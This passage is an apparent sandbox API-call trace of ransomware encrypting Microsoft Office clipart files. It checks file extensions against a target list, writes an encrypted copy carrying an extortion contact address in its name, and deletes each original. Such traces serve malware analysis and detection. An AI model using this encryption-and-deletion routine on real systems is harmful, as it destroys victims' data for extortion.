nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.153] SetEndOfFile (hFile=0x544) returned 1 [0266.342] CloseHandle (hObject=0x544) returned 1 [0266.344] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.344] SetEndOfFile (hFile=0x530) returned 1 [0266.348] CloseHandle (hObject=0x530) returned 1 [0266.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0266.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0266.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0266.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0266.353] lstrlenW (lpString=".doc") returned 4 [0266.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.353] lstrlenW (lpString=".docx") returned 5 [0266.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.354] lstrlenW (lpString=".pdf") returned 4 [0266.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.354] lstrlenW (lpString=".xls") returned 4 [0266.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.354] lstrlenW (lpString=".xlsx") returned 5 [0266.354] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.354] lstrlenW (lpString=".ppt") returned 4 [0266.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0266.354] lstrlenW (lpString=".zip") returned 4 [0266.354] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.354] lstrlenW (lpString=".rar") returned 4 [0266.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.354] lstrlenW (lpString=".bz2") returned 4 [0266.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.354] lstrlenW (lpString=".7z") returned 3 [0266.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0266.354] lstrlenW (lpString=".dbf") returned 4 [0266.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0266.354] lstrlenW (lpString=".1cd") returned 4 [0266.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0266.354] lstrlenW (lpString=".jpg") returned 4 [0266.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0266.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0266.355] lstrlenW (lpString=".doc") returned 4 [0266.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.355] lstrlenW (lpString=".docx") returned 5 [0266.355] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.355] lstrlenW (lpString=".pdf") returned 4 [0266.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.355] lstrlenW (lpString=".xls") returned 4 [0266.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.355] lstrlenW (lpString=".xlsx") returned 5 [0266.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.355] lstrlenW (lpString=".ppt") returned 4 [0266.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0266.355] lstrlenW (lpString=".zip") returned 4 [0266.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.355] lstrlenW (lpString=".rar") returned 4 [0266.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.355] lstrlenW (lpString=".bz2") returned 4 [0266.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.355] lstrlenW (lpString=".7z") returned 3 [0266.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0266.355] lstrlenW (lpString=".dbf") returned 4 [0266.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0266.356] lstrlenW (lpString=".1cd") returned 4 [0266.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0266.356] lstrlenW (lpString=".jpg") returned 4 [0266.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.356] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0266.356] lstrlenW (lpString="BL00252_.WMF") returned 12 [0266.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0266.357] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4708) returned 1 [0266.357] CloseHandle (hObject=0x530) returned 1 [0266.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x220 [0266.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0266.358] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.358] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0266.359] GetLastError () returned 0x0 [0266.359] ReadFile (in: hFile=0x530, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1264, lpOverlapped=0x0) returned 1 [0266.378] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1270, lpOverlapped=0x0) returned 1 [0266.379] ReadFile (in: hFile=0x530, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.379] WriteFile (in: hFile=0x544, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.379] SetEndOfFile (hFile=0x544) returned 1 [0266.379] CloseHandle (hObject=0x544) returned 1 [0266.380] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.381] SetEndOfFile (hFile=0x530) returned 1 [0266.388] CloseHandle (hObject=0x530) returned 1 [0266.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0266.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0266.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0266.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0266.434] lstrlenW (lpString=".doc") returned 4 [0266.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.434] lstrlenW (lpString=".docx") returned 5 [0266.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.434] lstrlenW (lpString=".pdf") returned 4 [0266.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.434] lstrlenW (lpString=".xls") returned 4 [0266.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.434] lstrlenW (lpString=".xlsx") returned 5 [0266.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.435] lstrlenW (lpString=".ppt") returned 4 [0266.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0266.435] lstrlenW (lpString=".zip") returned 4 [0266.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.435] lstrlenW (lpString=".rar") returned 4 [0266.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.435] lstrlenW (lpString=".bz2") returned 4 [0266.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.435] lstrlenW (lpString=".7z") returned 3 [0266.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0266.435] lstrlenW (lpString=".dbf") returned 4 [0266.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0266.435] lstrlenW (lpString=".1cd") returned 4 [0266.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0266.435] lstrlenW (lpString=".jpg") returned 4 [0266.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0266.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0266.435] lstrlenW (lpString=".doc") returned 4 [0266.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.435] lstrlenW (lpString=".docx") returned 5 [0266.435] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.436] lstrlenW (lpString=".pdf") returned 4 [0266.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.436] lstrlenW (lpString=".xls") returned 4 [0266.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.436] lstrlenW (lpString=".xlsx") returned 5 [0266.436] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.436] lstrlenW (lpString=".ppt") returned 4 [0266.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0266.436] lstrlenW (lpString=".zip") returned 4 [0266.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.436] lstrlenW (lpString=".rar") returned 4 [0266.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.436] lstrlenW (lpString=".bz2") returned 4 [0266.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.436] lstrlenW (lpString=".7z") returned 3 [0266.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0266.436] lstrlenW (lpString=".dbf") returned 4 [0266.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0266.436] lstrlenW (lpString=".1cd") returned 4 [0266.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0266.436] lstrlenW (lpString=".jpg") returned 4 [0266.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.437] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0266.437] lstrlenW (lpString="BL00262_.WMF") returned 12 [0266.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0266.437] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2556) returned 1 [0266.437] CloseHandle (hObject=0x54c) returned 1 [0266.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x220 [0266.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0266.438] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.438] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0266.442] GetLastError () returned 0x0 [0266.442] ReadFile (in: hFile=0x54c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x9fc, lpOverlapped=0x0) returned 1 [0266.508] WriteFile (in: hFile=0x558, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xa00, lpOverlapped=0x0) returned 1 [0266.510] ReadFile (in: hFile=0x54c, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.510] WriteFile (in: hFile=0x558, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.510] SetEndOfFile (hFile=0x558) returned 1 [0266.510] CloseHandle (hObject=0x558) returned 1 [0266.514] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.514] SetEndOfFile (hFile=0x54c) returned 1 [0266.518] CloseHandle (hObject=0x54c) returned 1 [0266.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0266.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0266.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0266.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0266.519] lstrlenW (lpString=".doc") returned 4 [0266.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.519] lstrlenW (lpString=".docx") returned 5 [0266.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.519] lstrlenW (lpString=".pdf") returned 4 [0266.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.520] lstrlenW (lpString=".xls") returned 4 [0266.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.520] lstrlenW (lpString=".xlsx") returned 5 [0266.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.520] lstrlenW (lpString=".ppt") returned 4 [0266.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0266.520] lstrlenW (lpString=".zip") returned 4 [0266.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.520] lstrlenW (lpString=".rar") returned 4 [0266.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.520] lstrlenW (lpString=".bz2") returned 4 [0266.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.520] lstrlenW (lpString=".7z") returned 3 [0266.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0266.520] lstrlenW (lpString=".dbf") returned 4 [0266.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0266.520] lstrlenW (lpString=".1cd") returned 4 [0266.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0266.521] lstrlenW (lpString=".jpg") returned 4 [0266.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0266.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0266.521] lstrlenW (lpString=".doc") returned 4 [0266.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0266.521] lstrlenW (lpString=".docx") returned 5 [0266.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0266.521] lstrlenW (lpString=".pdf") returned 4 [0266.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0266.521] lstrlenW (lpString=".xls") returned 4 [0266.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0266.521] lstrlenW (lpString=".xlsx") returned 5 [0266.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0266.521] lstrlenW (lpString=".ppt") returned 4 [0266.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0266.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0266.521] lstrlenW (lpString=".zip") returned 4 [0266.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0266.521] lstrlenW (lpString=".rar") returned 4 [0266.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0266.521] lstrlenW (lpString=".bz2") returned 4 [0266.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0266.522] lstrlenW (lpString=".7z") returned 3 [0266.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0266.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0266.522] lstrlenW (lpString=".dbf") returned 4 [0266.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0266.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0266.522] lstrlenW (lpString=".1cd") returned 4 [0266.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0266.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0266.522] lstrlenW (lpString=".jpg") returned 4 [0266.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0266.522] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0266.522] lstrlenW (lpString="BL00265_.WMF") returned 12 [0266.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0266.541] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5752) returned 1 [0266.541] CloseHandle (hObject=0x548) returned 1 [0266.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x220 [0266.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0266.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0266.542] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.542] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0266.543] GetLastError () returned 0x0 [0266.543] ReadFile (in: hFile=0x548, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1678, lpOverlapped=0x0) returned 1 [0266.697] WriteFile (in: hFile=0x554, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1680, lpOverlapped=0x0) returned 1 [0266.699] ReadFile (in: hFile=0x548, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0266.699] WriteFile (in: hFile=0x554, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0266.699] SetEndOfFile (hFile=0x554) returned 1 [0266.699] CloseHandle (hObject=0x554) returned 1 [0266.709] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, 